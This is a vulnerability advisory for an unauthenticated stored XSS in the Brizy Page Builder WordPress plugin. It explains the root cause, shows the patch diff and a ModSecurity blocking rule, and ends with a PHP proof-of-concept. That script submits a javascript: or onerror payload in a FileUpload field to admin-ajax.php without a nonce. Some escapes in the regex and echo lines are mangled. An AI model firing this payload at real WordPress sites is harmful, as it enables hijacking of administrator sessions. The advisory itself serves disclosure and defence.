Atomic Edge analysis of CVE-2026-5324:
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the Brizy Page Builder plugin for WordPress, version 2.8.11 and earlier. An attacker can inject arbitrary JavaScript into file upload fields which executes when an administrator views the form entries on the Leads page. The CVSS score is 7.2 (High).
The root cause involves three compounding issues within the form submission and display logic. First, the submit_form() function in api.php (line 198, unreferenced in diff but described in the advisory) skips nonce verification for non-logged-in users, allowing unauthenticated form submissions. Second, the handleFileTypeFields() function in the same file fails to clear user-supplied field values when no file is attached, preserving attacker-controlled input as the field value. Third, the form-data.php template (line 17-20) outputs the FileUpload field value directly in an href attribute without escaping, and the stored value, while passed through htmlentities() during storage, is reversed via html_entity_decode() on display (referenced at form-entries.php:79), undoing any HTML encoding before the template renders it. This chain allows arbitrary script injection.
Exploitation requires no authentication. An attacker sends a POST request to the Brizy form submission endpoint, likely an AJAX action such as brizy_form_submit, with a FileUpload form field. Instead of uploading a file, the attacker sets the field value to a JavaScript payload, such as javascript:alert(‘XSS’) or a full tag encoded to bypass simple filters. Because the handleFileTypeFields() logic only processes uploaded files and does not overwrite the value when $_FILES is empty, the attacker-provided value persists. The stored value, after encoding/decoding round-trips, renders unsanitized in the admin view, achieving XSS.
The patch introduces three specific changes. First, in api.php (line 300-305), a check was added: if ( ! isset( $_FILES[ $field->name ] ) || empty( $_FILES[ $field->name ][‘name’] ) ), the field value is set to an empty string. This prevents attacker-controlled values from persisting when no file is uploaded. Second, in form-data.php, the FileUpload href attribute now uses esc_url( $field->value ) instead of raw output, and the link text uses esc_html(). Third, other field types now use wp_kses() instead of strip_tags(), providing more robust output sanitization. These changes together break the XSS chain at both the storage and display stages.
Successful exploitation allows an unauthenticated attacker to inject arbitrary JavaScript into the WordPress admin panel. When an administrator views the Leads page containing form entries, the injected script executes in the admin’s browser session. This can lead to theft of admin session cookies, creation of new admin accounts, redirection to malicious sites, or other actions performed with full administrative privileges. The attack does not require any user interaction beyond the admin viewing the entries page.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/brizy/admin/views/form-data.php
+++ b/brizy/admin/views/form-data.php
@@ -4,17 +4,17 @@
<?php $type = isset( $field->type ) ? $field->type : 'Text'; ?>
<li>
<label for="<?php echo esc_attr($field->name); ?>">
- <?php echo strip_tags( $label ); ?>
+ <?php echo esc_html( strip_tags( $label ) ); ?>
</label>:
<?php if ( $type == 'FileUpload' ): ?>
<span id="<?php echo esc_attr($field->name); ?>">
- <a href="<?php echo $field->value; ?>" target="_blank">
- <?php echo $field->value; ?>
+ <a href="<?php echo esc_url( $field->value ); ?>" target="_blank">
+ <?php echo esc_html( $field->value ); ?>
</a>
</span>
<?php else: ?>
<span id="<?php echo esc_attr($field->name); ?>" class="formData-<?php echo strtolower( esc_attr( $type ) ); ?>">
- <?php echo strip_tags( $field->value, '<br>' ); ?>
+ <?php echo wp_kses( $field->value, array( 'br' => array() ) ); ?>
</span>
<?php endif; ?>
</li>
--- a/brizy/brizy.php
+++ b/brizy/brizy.php
@@ -5,7 +5,7 @@
* Plugin URI: https://brizy.io/
* Author: Brizy.io
* Author URI: https://brizy.io/
- * Version: 2.8.11
+ * Version: 2.8.12
* Text Domain: brizy
* License: GPLv3
* Domain Path: /languages
@@ -18,11 +18,11 @@
}
define( 'BRIZY_DEVELOPMENT', false );
define( 'BRIZY_LOG', false );
-define( 'BRIZY_VERSION', '2.8.11' );
+define( 'BRIZY_VERSION', '2.8.12' );
define( 'BRIZY_MINIMUM_PRO_VERSION', '2.4.15' );
define( 'BRIZY_MINIMUM_COMPILER_VERSION', '353-wp' );
define( 'BRIZY_RECOMPILE_TAG', 1775476915 );
-define( 'BRIZY_EDITOR_VERSION', BRIZY_DEVELOPMENT ? 'dev' : '358-wp' );
+define( 'BRIZY_EDITOR_VERSION', BRIZY_DEVELOPMENT ? 'dev' : '358-wp' );
define( 'BRIZY_SYNC_VERSION', '358' );
define( 'BRIZY_FILE', __FILE__ );
define( 'BRIZY_PLUGIN_BASE', plugin_basename( BRIZY_FILE ) );
--- a/brizy/editor/forms/api.php
+++ b/brizy/editor/forms/api.php
@@ -297,6 +297,11 @@
foreach ($fields as $field) {
if ($field->type == 'FileUpload') {
+ if ( ! isset( $_FILES[ $field->name ] ) || empty( $_FILES[ $field->name ]['name'] ) ) {
+ $field->value = '';
+ continue;
+ }
+
$uFile = $_FILES[$field->name];
foreach ($_FILES[$field->name]['name'] as $index => $value) {
--- a/brizy/vendor/composer/installed.php
+++ b/brizy/vendor/composer/installed.php
@@ -3,7 +3,7 @@
'name' => 'brizy/brizy',
'pretty_version' => 'dev-master',
'version' => 'dev-master',
- 'reference' => 'c63023d7dd5679701285f95d025aab334618ad77',
+ 'reference' => '03548ed11802d466765ae910d5640840f85bcb3d',
'type' => 'library',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
@@ -42,7 +42,7 @@
'brizy/brizy' => array(
'pretty_version' => 'dev-master',
'version' => 'dev-master',
- 'reference' => 'c63023d7dd5679701285f95d025aab334618ad77',
+ 'reference' => '03548ed11802d466765ae910d5640840f85bcb3d',
'type' => 'library',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-5324
# Blocks unauthenticated stored XSS via Brizy FileUpload fields
# Targets AJAX submissions to brizy_form_submit with FileUpload type and no file attachments
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20265324,phase:2,deny,status:403,chain,msg:'CVE-2026-5324 Brizy XSS via malicious FileUpload value',severity:'CRITICAL',tag:'CVE-2026-5324'"
SecRule ARGS_POST:action "@streq brizy_form_submit" "chain"
SecRule ARGS_POST:fields "@rx types*:s*FileUploads*,s*values*:s*[^}]*<"
"t:none,t:urlDecode,chain"
SecRule FILES_NAMES "@rx ^$" "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5324 - Brizy Page Builder <= 2.8.11 - Unauthenticated Stored XSS via FileUpload Field Value
$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site URL
// The AJAX endpoint for Brizy form submissions
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// XSS payload: an alert box to confirm execution
$xss_payload = 'javascript:alert("AtomicEdge XSS");';
// Alternative payload that demonstrates script injection:
// $xss_payload = '<img src=x onerror=alert(1)>';
// Craft the POST body mimicking a Brizy form submission with a FileUpload field
$post_data = [
'action' => 'brizy_form_submit', // Brizy's AJAX action for form submissions (adjust if different)
'version' => '2.8.11',
'form_id' => 'test_form',
'fields' => [
[
'name' => 'file_upload_1',
'type' => 'FileUpload',
'value' => $xss_payload, // Attacker-controlled value, no file uploaded
],
[
'name' => 'email_field',
'type' => 'Email',
'value' => 'test@example.com',
],
],
// Nonce is intentionally omitted because unauthenticated submissions skip nonce check
];
$payload_json = json_encode($post_data);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload_json);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/json',
'Content-Length: ' . strlen($payload_json),
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: $http_coden";
echo "Response Body: $responsenn";
echo "PoC sent. To verify, log into WordPress admin and navigate to the Brizy Leads page (Brizy > Forms > Entries).n";
echo "The FileUpload field should display a link. If unescaped, the JavaScript payload will execute.n";